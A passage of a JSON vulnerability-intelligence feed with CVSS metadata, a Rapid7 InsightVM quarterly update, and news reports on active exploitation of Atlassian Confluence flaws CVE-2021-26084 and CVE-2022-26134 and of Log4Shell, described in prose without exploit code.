"HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776", "CVE-2021-26084", "CVE-2022-26134", "CVE-2022-26314"], "modified": "2022-06-02T23:27:15", "id": "RAPID7BLOG:396ACAA896DDC62391C1F6CBEDA04085", "href": "https://blog.rapid7.com/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-08T15:44:47", "description": "\n\nIn today's post, we're giving a rundown of new features and functionality launched in Q3 2021 for [InsightVM](<https://www.rapid7.com/products/insightvm/>) and the [Insight Platform](<https://www.rapid7.com/products/insight-platform/>). We hope you can begin to leverage these changes to drive success across your organization.\n\n## Apple Silicon support on the Insight Agent\n\nWe're excited to announce that the Insight Agent now natively supports Apple Silicon chips!\n\nApple announced the first generation Apple Silicon chip \u2014 the M1 processor \u2014 in November 2020. This chip is the new standard on all MacBooks starting with the 2020 releases, and Apple plans to transition completely to Apple Silicon chips over the next two years.\n\nThe new Mac installer specifically designed for the Apple Silicon can be accessed right from Agent Management in the platform, in the download section. Learn more in our [Apple Silicon Agent Support blog post](<https://www.rapid7.com/blog/post/2021/07/08/apple-m1-support-on-insight-agent/>).\n\n\n\n## Asset and Vulnerability Details reports\n\nThis new feature allows you to easily communicate details of your assets and vulnerabilities with stakeholders in a PDF format. Simply click the ****Export to PDF ****button on the Vulnerability Details page, and you'll have a PDF ready to share!\n\n\n\nThis is particularly useful if you're attempting to collaborate while remediating a specific vulnerability. We'll use a hypothetical security engineer named Jane to illustrate this.\n\nJane recently read about a new ransomware strain that leverages a specific vulnerability as part of an attack chain that seems to be targeting the industry of her organization. She opens the query builder in InsightVM, constructs a search query to identify the vulnerability by CVE, and discovers several instances. She wants to mention this during her morning all-hands sync so she can recruit other team members to her effort. She exports the vulnerability details page to a PDF, which allows her to share this out and provide more details to interested team members, who then can help her remediate this vulnerability much more quickly.\n\nMoreover, while undertaking this effort, another team member \u2014 Bill \u2014 finds an asset that seems to be a complete tragedy in terms of patching and vulnerability prevalence. He creates the Asset Details report and shares this in an e-mail to his team, stating that this asset seems to be missing their organization's patch cycle. He also suggests that they look for more of these types of assets because he knows that when there is one offender, there are often many.\n\n## Snyk integration for reporting vulnerabilities\n\nContainer Security assessments will now report Ruby vulnerabilities through an integration with the Snyk vulnerability database. This adds RubyGems packages to our Snyk-based coverage, which currently includes vulnerability detections for Java, JavaScript, and Python libraries. This integration is particularly helpful for organizations that perform scanning of Container Images at rest, in both public and private registries.\n\n## Emergent threat coverage recap\n\nQ3 2021 was another busy quarter for high-priority cybersecurity threats. As part of our emergent threat response process, Rapid7's VRM research and engineering teams released vulnerability checks and in-depth technical analysis to help InsightVM customers understand the risk of exploitation and assess their exposure to critical security threats. In July, [CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare/rapid7-analysis?referrer=blog>), dubbed \u201c[PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>)\" presented remediation challenges for many organizations amid active exploitation of the Windows Print Spooler service. In August, the [ProxyShell](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis?referrer=blog>) exploit chain put on-premises instances of Microsoft Exchange Server [at risk](<https://www.rapid7.com/blog/post/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/>) for remote code execution. More recently, widespread attacks took advantage of [CVE-2021-26084](<https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis?referrer=blog>), a critical flaw in[ Confluence Server & Confluence Data Center](<https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/>), to deploy cryptominers, exfiltrate data, and obtain initial access for ransomware operations.\n\nOther notable emergent threats included:\n\n * [ForgeRock Access Manager/OpenAM Pre-Auth Remote Code Execution Vulnerability (CVE-2021-35464)](<https://attackerkb.com/topics/KnAX5kffui/pre-auth-rce-in-forgerock-access-manager-cve-2021-35464/rapid7-analysis?referrer=blog>)\n * [SolarWinds Serv-U FTP and Managed File Transfer (CVE-2021-35211)](<https://www.rapid7.com/blog/post/2021/07/12/solarwinds-serv-u-ftp-and-managed-file-transfer-cve-2021-35211-what-you-need-to-know/>)\n * [Microsoft SAM File Readability (CVE-2021-36934)](<https://www.rapid7.com/blog/post/2021/07/21/microsoft-sam-file-readability-cve-2021-36934-what-you-need-to-know/>)\n * [PetitPotam: Novel Attack Chain](<https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/>)\n * [Zoho ManageEngine ADSelfService Plus (CVE-2021-40539)](<https://attackerkb.com/topics/DMSNq5zgcW/cve-2021-40539/rapid7-analysis?referrer=blog>)\n * [Critical vCenter Server File Upload Vulnerability (CVE-2021-22005)](<https://www.rapid7.com/blog/post/2021/09/21/critical-vcenter-server-file-upload-vulnerability-cve-2021-22005/>)\n\n## Stay tuned!\n\nAs always, we're continuing to work on exciting product enhancements and releases throughout the year. Keep an eye on our blog and [release notes](<https://docs.rapid7.com/release-notes/insightvm/>) as we continue to highlight the latest in vulnerability management at Rapid7.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-10-08T13:30:00", "type": "rapid7blog", "title": "What's New in InsightVM: Q3 2021 in Review", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-22005", "CVE-2021-26084", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-35464", "CVE-2021-36934", "CVE-2021-40539"], "modified": "2021-10-08T13:30:00", "id": "RAPID7BLOG:8882BFA669B38BCF7B5A8A26F657F735", "href": "https://blog.rapid7.com/2021/10/08/whats-new-in-insightvm-q3-2021-in-review/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "prion": [{"lastseen": "2023-08-16T02:30:09", "description": "In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-30T07:15:00", "type": "prion", "title": "CVE-2021-26084", "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2023-08-08T14:21:00", "id": "PRION:CVE-2021-26084", "href": "https://kb.prio-n.com/vulnerability/CVE-2021-26084", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "thn": [{"lastseen": "2022-05-09T12:37:20", "description": "[](<https://thehackernews.com/images/-K3dizOjpw9k/YTMdtj_gj_I/AAAAAAAADuM/yZKhckretz4v10FCjULiIDJAtOe9n3-CgCLcBGAsYHQ/s0/Atlassian-Confluence.jpg>)\n\nThe U.S. Cyber Command on Friday warned of ongoing mass exploitation attempts in the wild targeting a now-patched critical security vulnerability affecting Atlassian Confluence deployments that could be abused by unauthenticated attackers to take control of a vulnerable system.\n\n\"Mass exploitation of Atlassian Confluence [CVE-2021-26084](<https://nvd.nist.gov/vuln/detail/CVE-2021-26084>) is ongoing and expected to accelerate,\" the Cyber National Mission Force (CNMF) [said](<https://twitter.com/CNMF_CyberAlert/status/1433787671785185283>) in a tweet. The warning was also echoed by the U.S. Cybersecurity and Infrastructure Security Agency ([CISA](<https://us-cert.cisa.gov/ncas/current-activity/2021/09/03/atlassian-releases-security-updates-confluence-server-and-data>)) and [Atlassian itself](<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html>) in a series of independent advisories.\n\nBad Packets [noted](<https://twitter.com/bad_packets/status/1433157632370511873>) on Twitter it \"detected mass scanning and exploit activity from hosts in Brazil, China, Hong Kong, Nepal, Romania, Russia and the U.S. targeting Atlassian Confluence servers vulnerable to remote code execution.\"\n\nAtlassian Confluence is a widely popular web-based documentation service that allows teams to create, collaborate, and organize on different projects, offering a common platform to share information in corporate environments. It counts several major companies, including Audi, Docker, GoPro, Hubspot, LinkedIn, Morningstar, NASA, The New York Times, and Twilio, among its customers.\n\nThe [development](<https://censys.io/blog/cve-2021-26084-confluenza/>) comes days after the Australian company rolled out security updates on August 25 for an [OGNL](<https://en.wikipedia.org/wiki/OGNL>) (Object-Graph Navigation Language) injection flaw that, in specific instances, could be exploited to execute arbitrary code on a Confluence Server or Data Center instance.\n\nPut differently, an adversary can leverage this weakness to execute any command with the same permissions as the user running the service, and worse, abuse the access to gain elevated administrative permissions to stage further attacks against the host using unpatched local vulnerabilities.\n\nThe flaw, which has been assigned the identifier CVE-2021-26084 and has a severity rating of 9.8 out of 10 on the CVSS scoring system, impacts all versions prior to 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.\n\nThe issue has been addressed in the following versions \u2014\n\n * 6.13.23\n * 7.4.11\n * 7.11.6\n * 7.12.5\n * 7.13.0\n\nIn the days since the patches were issued, multiple threat actors have seized the opportunity to capitalize on the flaw by mass scanning vulnerable Confluence servers to ensnare potential victims and [install crypto miners](<https://www.bleepingcomputer.com/news/security/atlassian-confluence-flaw-actively-exploited-to-install-cryptominers/>) after a proof-of-concept (PoC) exploit was [publicly released](<https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md>) earlier this week. Rahul Maini and [Harsh Jaiswal](<https://twitter.com/rootxharsh>), the researchers involved, [described](<https://twitter.com/iamnoooob/status/1431739398782025728>) the process of developing the CVE-2021-26084 exploit as \"relatively simpler than expected.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-04T07:19:00", "type": "thn", "title": "U.S. Cyber Command Warns of Ongoing Attacks Exploiting Atlassian Confluence Flaw", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-28T15:19:43", "id": "THN:080602C4CECD29DACCA496697978CAD0", "href": "https://thehackernews.com/2021/09/us-cyber-command-warns-of-ongoing.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:20", "description": "[](<https://thehackernews.com/images/-ECBRNAQfxt4/YTc5IJ3yF6I/AAAAAAAADvk/AKO-gQEBwOICCTQJArFbT7OQXrde61d-wCLcBGAsYHQ/s0/jenkin.jpg>)\n\nThe maintainers of Jenkins\u2014a popular open-source automation server software\u2014have disclosed a security breach after unidentified threat actors gained access to one of their servers by exploiting a recently disclosed vulnerability in Atlassian Confluence service to install a cryptocurrency miner.\n\nThe \"successful attack,\" which is believed to have occurred last week, was mounted against its Confluence service that had been deprecated since October 2019, leading the team to take the server offline, rotate privileged credentials, and reset passwords for developer accounts.\n\n\"At this time we have no reason to believe that any Jenkins releases, plugins, or source code have been affected,\" the company [said](<https://www.jenkins.io/blog/2021/09/04/wiki-attacked/>) in a statement published over the weekend.\n\nThe disclosure comes as the U.S. Cyber Command [warned](<https://thehackernews.com/2021/09/us-cyber-command-warns-of-ongoing.html>) of ongoing mass exploitation attempts in the wild targeting a now-patched critical security vulnerability affecting Atlassian Confluence deployments.\n\nTracked as CVE-2021-26084 (CVSS score: 9.8), the flaw concerns an OGNL (Object-Graph Navigation Language) injection flaw that, in specific instances, could be exploited to execute arbitrary code on a Confluence Server or Data Center instance.\n\nAccording to cybersecurity firm Censys, a search engine for finding internet devices, around 14,637 exposed and vulnerable Confluence servers were discovered right before details about the flaw became public on August 25, a number that has since dropped to 8,597 as of September 5 as companies continue to apply Atlassian's patches and pull afflicted servers from being reachable over the internet.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-07T10:05:00", "type": "thn", "title": "Latest Atlassian Confluence Flaw Exploited to Breach Jenkins Project Server", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-07T10:05:28", "id": "THN:F076354512CA34C263F222F3D62FCB1E", "href": "https://thehackernews.com/2021/09/latest-atlassian-confluence-flaw.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:15", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEhJ3jtRKAfkDnJBg2CSeJO9eEak4pHCPUwsoYC1yc8-mRtN2fWdq14kYmZ4eITvVA_TkOaz34D7Gfz2LSNKAbVwByP1IbkyZkXFdMhGnjmA1tSd6GffL2DMmgX3VEYI5N3wlRhVqGUmMzGn7YbisQQBHLt_xETCq41gult7pRhYNQ-b2eB8mGAOpaFD>)\n\nOpportunistic threat actors have been found actively exploiting a recently disclosed critical security flaw in Atlassian Confluence deployments across Windows and Linux to deploy web shells that result in the execution of crypto miners on compromised systems.\n\nTracked as **CVE-2021-26084** (CVSS score: 9.8), the vulnerability concerns an OGNL (Object-Graph Navigation Language) injection flaw that could be exploited to achieve arbitrary code execution on a Confluence Server or Data Center instance.\n\n\"A remote attacker can exploit this vulnerability by sending a crafted HTTP request containing a malicious parameter to a vulnerable server,\" researchers from Trend Micro [noted](<https://www.zerodayinitiative.com/blog/2021/9/21/cve-2021-26084-details-on-the-recently-exploited-atlassian-confluence-ognl-injection-bug>) in a technical write-up detailing the weakness. \"Successful exploitation can result in arbitrary code execution in the security context of the affected server.\"\n\nThe vulnerability, which resides in the Webwork module of Atlassian Confluence Server and Data Center, stems from an insufficient validation of user-supplied input, causing the parser to evaluate rogue commands injected within the OGNL expressions.\n\nThe in-the-wild attacks come after the U.S. Cyber Command [warned](<https://thehackernews.com/2021/09/us-cyber-command-warns-of-ongoing.html>) of mass exploitation attempts following the vulnerability's public disclosure in late August this year.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEjXqPkBhwuKJGvxWO_1FjoHCeEAOKy7E3nNIvjWNAaBric3ybUCOe0G41xg2vfrMqSM83zyPKtMMcPzdThUioKg0niqP0et9VrT22pAmRJy9LwQNAVdvO8EvweuRbnJo7aiGWul1cqiTjlXFZw4WyEKmu-Nh6M-u0F-6LxkM2A7vbklzdx2bLU2Afye>)\n\nIn [one such attack](<https://www.trendmicro.com/en_us/research/21/i/cryptominer-z0miner-uses-newly-discovered-vulnerability-cve-2021.html>) observed by Trend Micro, z0Miner, a trojan and cryptojacker, was found updated to leverage the remote code execution (RCE) flaw to distribute next-stage payloads that act as a channel to maintain persistence and deploy cryptocurrency mining software on the machines. Imperva, in an independent analysis, [corroborated the findings](<https://www.imperva.com/blog/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers/>), uncovering similar intrusion attempts that were aimed at running the XMRig cryptocurrency miner and other post-exploitation scripts.\n\nAlso detected by Imperva, [Juniper](<https://blogs.juniper.net/en-us/threat-research/muhstik-botnet-targeting-confluence-servers-with-cve-2021-26084>), and [Lacework](<https://www.lacework.com/blog/muhstik-takes-aim-at-confluence-cve-2021-26084/>) is exploitation activity conducted by Muhstik, a China-linked [botnet](<https://www.lacework.com/blog/meet-muhstik-iot-botnet-infecting-cloud-servers/>) known for its [wormlike self-propagating capability](<https://unit42.paloaltonetworks.com/muhstik-botnet-attacks-tomato-routers-to-harvest-new-iot-devices/>) to infect Linux servers and IoT devices since at least 2018.\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgbIFk6qnQLGyg0h6oyooiekl3f6weqXbcxtTWMY4--VWq6XAjXEMzqzKoFtdfOJrwkHrMnA7zKzbUIZD20ywylRihiM2XgTRt1QSmjWMQkRomZ48jftJM5I_98FvPixhOZqMp_rr6nq7vQBTlnknWVxhVXzyno6XFul5zNkpbdaqmYBM9R--Nxg2HT>)\n\nFurthermore, Palo Alto Networks' Unit 42 threat intelligence team said it [identified and prevented attacks](<https://www.paloaltonetworks.com/blog/security-operations/cve-2021-26084-linux-exploitation-in-the-wild/>) that were orchestrated to upload its customers' password files as well as download malware-laced scripts that dropped a miner and even open an interactive reverse shell on the machine.\n\n\"As is often the case with RCE vulnerabilities, attackers will rush and exploit affected systems for their own gain,\" Imperva researchers said. \"RCE vulnerabilities can easily allow threat actors to exploit affected systems for easy monetary gain by installing cryptocurrency miners and masking their activity, thus abusing the processing resources of the target.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-28T15:31:00", "type": "thn", "title": "Atlassian Confluence RCE Flaw Abused in Multiple Cyberattack Campaigns", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084"], "modified": "2021-09-29T03:33:58", "id": "THN:5763EE4C0049A18C83419B000AAB347A", "href": "https://thehackernews.com/2021/09/atlassian-confluence-rce-flaw-abused-in.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-06-03T09:56:17", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEgtFRIbOmYLbsTQsfQcmDa8dd7UbU-isTy7dToS2Gy1p7s--Zt-QgfjUpligZQwwZouhjIgGzL8kjD1QlluSfAvuZ7I7GKPJG21wA9tfWYRmChZ7jK57W-8AeMWNQDwHO9tEJkbBfs3AltDvfY7kp3Bl13jp3djDlSN_7F0g5plbOk_BGleGYX9aFNC/s728-e100/hackers.jpg>)\n\nAtlassian has warned of a critical unpatched remote code execution vulnerability impacting Confluence Server and Data Center products that it said is being actively exploited in the wild.\n\nThe Australian software company credited cybersecurity firm Volexity for identifying the flaw, which is being tracked as **CVE-2022-26134**.\n\n\"Atlassian has been made aware of current active exploitation of a critical severity unauthenticated remote code execution vulnerability in Confluence Data Center and Server,\" it [said](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>) in an advisory.\n\n\"There are currently no fixed versions of Confluence Server and Data Center available. Atlassian is working with the highest priority to issue a fix.\" Specifics of the security flaw have been withheld until a software patch is available.\n\nAll supported versions of Confluence Server and Data Center are affected, although it's expected that all versions of the enterprise solution are potentially vulnerable. The earliest impacted version is yet to be ascertained.\n\nIn the absence of a fix, Atlassian is urging customers to restrict Confluence Server and Data Center instances from the internet or consider disabling the instances altogether. Alternatively, it has recommended implementing a web application firewall (WAF) rule which blocks URLs containing \"${\" to reduce the risk.\n\nVolexity, in an independent disclosure, said it detected the activity over the Memorial Day weekend in the U.S. as part of an incident response investigation.\n\nThe attack chain involved leveraging the Atlassian zero-day exploit \u2014 a command injection vulnerability \u2014 to achieve unauthenticated remote code execution on the server, enabling the threat actor to use the foothold to drop the Behinder web shell.\n\n\"[Behinder](<https://github.com/Freakboy/Behinder>) provides very powerful capabilities to attackers, including memory-only webshells and built-in support for interaction with Meterpreter and Cobalt Strike,\" the researchers [said](<https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/>). \"At the same time, it does not allow persistence, which means a reboot or service restart will wipe it out.\"\n\nSubsequently, the web shell is said to have been employed as a conduit to deploy two additional web shells to disk, including [China Chopper](<https://www.mandiant.com/resources/the-little-malware-that-could-detecting-and-defeating-the-china-chopper-web-shell>) and a custom file upload shell to exfiltrate arbitrary files to a remote server.\n\nThe development comes less than a year after another critical remote code execution flaw in Atlassian Confluence ([CVE-2021-26084](<https://thehackernews.com/2021/09/us-cyber-command-warns-of-ongoing.html>), CVSS score: 9.8) was actively weaponized in the wild to install cryptocurrency miners on compromised servers.\n\n\"By exploiting this kind of vulnerability, attackers can gain direct access to highly sensitive systems and networks,\" Volexity said. \"Further, these systems can often be difficult to investigate, as they lack the appropriate monitoring or logging capabilities.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-03T03:43:00", "type": "thn", "title": "Hackers Exploiting Unpatched Critical Atlassian Confluence Zero-Day Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26084", "CVE-2022-26134"], "modified": "2022-06-03T09:27:09", "id": "THN:573D61ED9CCFF01AECC281F8913E42F8", "href": "https://thehackernews.com/2022/06/hackers-exploiting-unpatched-critical.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:49", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEhxt34pnwkNBgdh1y4-6xfSP-mpRKSltUMdSLDF55Eno17d47MYCQMSDAGq2OZeCWpHDNnZUH8W1fIjZdtvlDKtRo_8406-8p3Tt1czUwjmnUWHQH1uhmjFu2w55IgERDhFTLDY9xJoJtni4DCbI0Mq1L1iwjJ2yLvaZvWMTnwKtZmlFsZO1DMdbQ0a>)\n\nThreat actors are actively [weaponizing](<https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/>) unpatched servers affected by the newly identified \"[**Log4Shell**](<https://thehackernews.com/2021/12/extremely-critical-log4j-vulnerability.html>)\" vulnerability in Log4j to install cryptocurrency miners, Cobalt Strike, and recruit the devices into a botnet, even as telemetry signs point to exploitation of the flaw nine days before it even came to light.\n\nNetlab, the networking security division of Chinese tech giant Qihoo 360, [disclosed](<https://blog.netlab.360.com/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/>) threats such as [Mirai](<https://thehackernews.com/2016/11/ddos-attack-mirai-botnet.html>) and [Muhstik](<https://thehackernews.com/2018/05/botnet-malware-hacking.html>) (aka Tsunami) are setting their sights on vulnerable systems to spread the infection and grow its computing power to orchestrate distributed denial-of-service (DDoS) attacks with the goal of overwhelming a target and rendering it unusable. Muhstik was previously spotted exploiting a critical security flaw in Atlassian Confluence ([CVE-2021-26084](<https://thehackernews.com/2021/09/atlassian-confluence-rce-flaw-abused-in.html>), CVSS score: 9.8) earlier this September.\n\nThe latest development comes as it has emerged that the vulnerability has been under attack for at least more than a week prior to its public disclosure on December 10, and companies like [Auvik](<https://www.reddit.com/r/msp/comments/rdba36/critical_rce_vulnerability_is_affecting_java/>), [ConnectWise Manage](<https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java>), and [N-able](<https://www.n-able.com/security-and-privacy/apache-log4j-vulnerability>) have confirmed their services are impacted, widening the scope of the flaw's reach to more manufacturers.\n\n\"Earliest evidence we've found so far of [the] Log4j exploit is 2021-12-01 04:36:50 UTC,\" Cloudflare CEO Matthew Prince [tweeted](<https://twitter.com/eastdakota/status/1469800951351427073>) Sunday. \"That suggests it was in the wild at least nine days before publicly disclosed. However, don't see evidence of mass exploitation until after public disclosure.\" Cisco Talos, in an independent [report](<https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html>), said it observed attacker activity related to the flaw beginning December 